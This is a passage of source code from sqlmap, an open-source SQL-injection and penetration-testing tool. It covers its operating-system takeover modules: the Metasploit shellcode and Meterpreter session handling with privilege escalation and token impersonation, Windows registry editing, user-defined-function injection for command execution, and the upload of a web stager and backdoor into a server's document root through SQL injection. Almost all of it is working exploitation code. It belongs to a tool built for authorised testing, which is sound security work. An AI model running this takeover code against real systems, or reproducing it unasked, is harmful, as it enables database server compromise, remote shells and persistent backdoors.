self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True) def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7: # send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems: # send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print() infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n") def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = b"" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) # For --os-smbrelay smbRelayCond = b"Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search(b"Meterpreter session ([\\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f if ex.args[0] == errno.EINTR: continue else: return proc.returncode except (EOFError, IOError): return proc.returncode except KeyboardInterrupt: pass def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) self._randStr = randomStr(lowercase=True) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) Metasploit._initVars(self) self._prepareIngredients(encode=encode) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": payloadSize = payloadSize // 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") self.shellcodeString = getText(self._shellcodeFP.read()) self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) with open(self.shellcodeexecLocal, "w+b") as f: f.write(_) else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec. It " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote) def smb(self): Metasploit._initVars(self) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) ================================================ FILE: lib/takeover/registry.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import openFile from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION class Registry(object): """ This class defines methods to read and write Windows registry keys """ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): self._regKey = regKey self._regValue = regValue self._regType = regType self._regData = regData self._randStr = randomStr(lowercase=True) self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) if parse: readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" self._batRead = ( "@ECHO OFF\r\n", readParse, ) self._batAdd = ( "@ECHO OFF\r\n", "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), ) self._batDel = ( "@ECHO OFF\r\n", "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), ) def _createLocalBatchFile(self): self._batPathFp = openFile(self._batPathLocal, "w") if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead elif self._operation == REGISTRY_OPERATION.ADD: lines = self._batAdd elif self._operation == REGISTRY_OPERATION.DELETE: lines = self._batDel for line in lines: self._batPathFp.write(line) self._batPathFp.close() def _createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self._batPathRemote) self._createLocalBatchFile() self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): self._operation = REGISTRY_OPERATION.READ Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) data = self.evalCmd(self._batPathRemote) if data and not parse: pattern = ' ' index = data.find(pattern) if index != -1: data = data[index + len(pattern):] self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): self._operation = REGISTRY_OPERATION.ADD Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() debugMsg = "adding registry key value '%s' " % self._regValue debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): self._operation = REGISTRY_OPERATION.DELETE Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) ================================================ FILE: lib/takeover/udf.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject class UDF(object): """ This class defines methods to deal with User-Defined Functions for plugins. """ def __init__(self): self.createdUdf = set() self.udfs = {} self.udfToCreate = set() def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " return readInput(message, default='N', boolean=True) def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): exists = self._checkExistUdf(udf) overwrite = True if exists: overwrite = self._askOverwriteUdf(udf) if overwrite: self.udfToCreate.add(udf) def udfCreateSupportTbl(self, dataType): debugMsg = "creating a support table for user-defined functions" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfForgeCmd(self, cmd): if not cmd.startswith("'"): cmd = "'%s" % cmd if not cmd.endswith("'"): cmd = "%s'" % cmd return cmd def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: udfName = "sys_exec" cmd = unescaper.escape(self.udfForgeCmd(cmd)) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output def udfCheckNeeded(self): if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: self.sysUdfs.pop("sys_bineval") if not conf.osCmd and not conf.osShell and not conf.regRead: self.sysUdfs.pop("sys_eval") if not conf.osPwn and not conf.regAdd and not conf.regDel: self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): written = False for udf in udfDict.keys(): if udf in self.createdUdf: continue self.udfCheckAndOverwrite(udf) if len(self.udfToCreate) > 0: self.udfSetRemotePath() checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading the shared library, " errMsg += "it looks like the binary file has not been written " errMsg += "on the database underlying file system" logger.error(errMsg) message = "do you want to proceed anyway? Beware that the " message += "operating system takeover will fail [y/N] " if readInput(message, default='N', boolean=True): written = True else: return False else: return True for udf, inpRet in udfDict.items(): if udf in self.udfToCreate and udf not in self.createdUdf: self.udfCreateFromSharedLib(udf, inpRet) if Backend.isDbms(DBMS.MYSQL): supportTblType = "longtext" elif Backend.isDbms(DBMS.PGSQL): supportTblType = "text" self.udfCreateSupportTbl(supportTblType) return written def udfInjectSys(self): self.udfSetLocalPaths() self.udfCheckNeeded() return self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" logger.warning(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break else: logger.warning("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warning("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} break else: logger.warning("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "how many input parameters takes UDF " msg += "'%s'? (default: 1) " % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warning("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warning("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if hasattr(retType, "isdigit") and retType.isdigit(): logger.warning("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "which UDF do you want to call?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg, default=None, checkBatch=False).upper() if choice == 'Q': break elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) logger.warning(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "what is the value of the parameter number " msg += "%d (data-type: %s)? " % (count, inp) while True: parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warning("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs) ================================================ FILE: lib/takeover/web.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import io import os import posixpath import re import tempfile from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getAutoDirectories from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import isDigit from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import OrderedSet from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import SHELL_RUNCMD_EXE_TAG from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request from thirdparty.six.moves import urllib as _urllib class Web(object): """ This class defines web-oriented OS takeover functionalities for plugins. """ def __init__(self): self.webPlatform = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None self.webStagerUrl = None self.webStagerFilePath = None self.webDirectory = None def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): if filepath is not None: if filepath.endswith('_'): content = decloak(filepath) # cloaked file else: with openFile(filepath, "rb", encoding=None) as f: content = f.read() if content is not None: stream = io.BytesIO(getBytes(content)) # string content # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 # Reference: https://stackoverflow.com/a/4677542 stream.seek(0, os.SEEK_END) stream.len = stream.tell() stream.seek(0, os.SEEK_SET) return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind try: setattr(stream, "name", destFileName) except TypeError: pass if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webPlatform == WEB_PLATFORM.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in (page or ""): warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory logger.warning(warnMsg) return False else: return True else: logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform) return False def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(getTechnique()): where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not isDigit(choice): logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warning("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(OrderedSet(directories)) path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with openFile(filename, "w+") as f: _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warning(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webPlatform == WEB_PLATFORM.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not 